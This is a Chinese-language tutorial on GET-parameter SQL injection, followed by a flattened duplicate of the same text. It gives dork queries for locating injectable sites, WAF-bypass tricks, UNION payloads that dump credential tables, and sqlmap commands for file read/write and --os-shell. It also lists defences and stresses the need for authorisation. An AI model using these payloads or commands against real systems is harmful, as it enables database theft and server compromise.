Get型SQL注入思路分享
字数 1227 2025-08-18 11:39:04

Get型SQL注入技术详解

一、寻找注入点

1. Google Hacking技巧

使用Google高级搜索语法快速定位潜在注入点:

  • intext: 搜索正文中含有关键词的网页
    • 示例:intext:后台登录
  • intitle: 搜索标题中含有关键词的网页
    • 示例:intitle:登录
  • inurl: 搜索URL中含有关键词的网页
    • 示例:inurl:Login
  • site: 指定搜索站点
    • 示例:site:baidu.com inurl:Login

推荐搜索模式inurl:?id=1 查找带有ID参数的URL

2. 注入点特征识别

典型注入点URL格式:http://www.example.com/page.php?id=35

二、基础注入测试

1. 初步测试

  1. 单引号测试:id=35'
    • 观察是否出现数据库错误信息
  2. 逻辑测试:
    • id=35 and 1=1 (应返回正常页面)
    • id=35 and 1=2 (应返回错误或空白页面)

2. WAF绕过技巧

当空格被过滤时:

  • 使用加号代替空格:id=35+and+1=1
  • 使用注释符:id=35/**/and/**/1=1

三、手工注入技术

1. 确定列数

使用order by语句:

id=35 order by 1 -- 
id=35 order by 2 -- 
...

直到出现错误,确定最大列数

2. 联合查询注入

  1. 构造联合查询:

    id=-35 union select 1,2,3,...,n -- 
    

    (n为确定的列数)

  2. 确定显示位(页面中显示数字的位置)

3. 获取数据库信息

  1. 获取所有数据库名:

    id=-35 union select 1,schema_name,3 from information_schema.schemata limit 0,1 -- 
    

    通过修改limit参数获取所有数据库

  2. 获取当前数据库:

    id=-35 union select 1,database(),3 -- 
    

4. 获取表信息

当单引号被过滤时,使用十六进制绕过:

id=-35 union select 1,table_name,3 from information_schema.tables where table_schema=0x[数据库名十六进制] limit 0,1 -- 

示例:sanying的十六进制为73616e79696e67

5. 获取字段信息

id=-35 union select 1,column_name,3 from information_schema.columns where table_name=0x[表名十六进制] limit 0,1 -- 

示例:db_member的十六进制为64625f6d656d626572

6. 获取数据

id=-35 union select 1,username,password from sanying.db_member limit 0,1 -- 

四、SQLmap自动化注入

1. 基本命令

  1. 获取数据库:

    sqlmap -u "http://example.com/page.php?id=1" --dbs
    
  2. 获取表:

    sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
    
  3. 获取字段:

    sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns
    
  4. 获取数据:

    sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump
    

2. WAF绕过技巧

使用tamper脚本:

sqlmap -u "http://example.com/page.php?id=1" --tamper=space2morehash.py

常用tamper脚本:

  • space2morehash.py:将空格替换为#并添加随机字符串
  • space2hash.py:空格替换为#号
  • base64encode.py:替换为base64编码
  • charencode.py:URL编码

3. 高级用法

  1. Cookie注入:

    sqlmap -u "http://example.com/shownews.asp" --cookie "id=11" --level 2
    
  2. POST注入:

    sqlmap -r request.txt -p username
    
  3. 文件操作:

    • 读取文件:
      sqlmap -r request.txt --file-read="/path/to/file"
      
    • 写入文件:
      sqlmap -r request.txt --file-write="local_file" --file-dest="/remote/path"
      
  4. 执行系统命令:

    sqlmap -r request.txt --os-shell
    

五、防御措施

  1. 使用参数化查询或预处理语句
  2. 实施最小权限原则
  3. 对输入进行严格过滤和验证
  4. 使用Web应用防火墙(WAF)
  5. 错误信息处理,避免泄露敏感信息
  6. 定期进行安全审计和渗透测试

六、注意事项

  1. 渗透测试必须获得授权
  2. 避免使用--os-shell等高风险操作
  3. 测试时使用--batch参数防止误操作
  4. 注意法律和道德边界

通过以上技术文档,您可以全面了解Get型SQL注入的原理、技术和防御方法。请务必在合法授权范围内使用这些技术进行安全测试。

Get型SQL注入技术详解 一、寻找注入点 1. Google Hacking技巧 使用Google高级搜索语法快速定位潜在注入点: intext: 搜索正文中含有关键词的网页 示例: intext:后台登录 intitle: 搜索标题中含有关键词的网页 示例: intitle:登录 inurl: 搜索URL中含有关键词的网页 示例: inurl:Login site: 指定搜索站点 示例: site:baidu.com inurl:Login 推荐搜索模式 : inurl:?id=1 查找带有ID参数的URL 2. 注入点特征识别 典型注入点URL格式: http://www.example.com/page.php?id=35 二、基础注入测试 1. 初步测试 单引号测试: id=35' 观察是否出现数据库错误信息 逻辑测试: id=35 and 1=1 (应返回正常页面) id=35 and 1=2 (应返回错误或空白页面) 2. WAF绕过技巧 当空格被过滤时: 使用加号代替空格: id=35+and+1=1 使用注释符: id=35/**/and/**/1=1 三、手工注入技术 1. 确定列数 使用 order by 语句: 直到出现错误,确定最大列数 2. 联合查询注入 构造联合查询: (n为确定的列数) 确定显示位(页面中显示数字的位置) 3. 获取数据库信息 获取所有数据库名: 通过修改limit参数获取所有数据库 获取当前数据库: 4. 获取表信息 当单引号被过滤时,使用十六进制绕过: 示例: sanying 的十六进制为 73616e79696e67 5. 获取字段信息 示例: db_member 的十六进制为 64625f6d656d626572 6. 获取数据 四、SQLmap自动化注入 1. 基本命令 获取数据库: 获取表: 获取字段: 获取数据: 2. WAF绕过技巧 使用tamper脚本: 常用tamper脚本: space2morehash.py :将空格替换为#并添加随机字符串 space2hash.py :空格替换为#号 base64encode.py :替换为base64编码 charencode.py :URL编码 3. 高级用法 Cookie注入: POST注入: 文件操作: 读取文件: 写入文件: 执行系统命令: 五、防御措施 使用参数化查询或预处理语句 实施最小权限原则 对输入进行严格过滤和验证 使用Web应用防火墙(WAF) 错误信息处理,避免泄露敏感信息 定期进行安全审计和渗透测试 六、注意事项 渗透测试必须获得授权 避免使用 --os-shell 等高风险操作 测试时使用 --batch 参数防止误操作 注意法律和道德边界 通过以上技术文档,您可以全面了解Get型SQL注入的原理、技术和防御方法。请务必在合法授权范围内使用这些技术进行安全测试。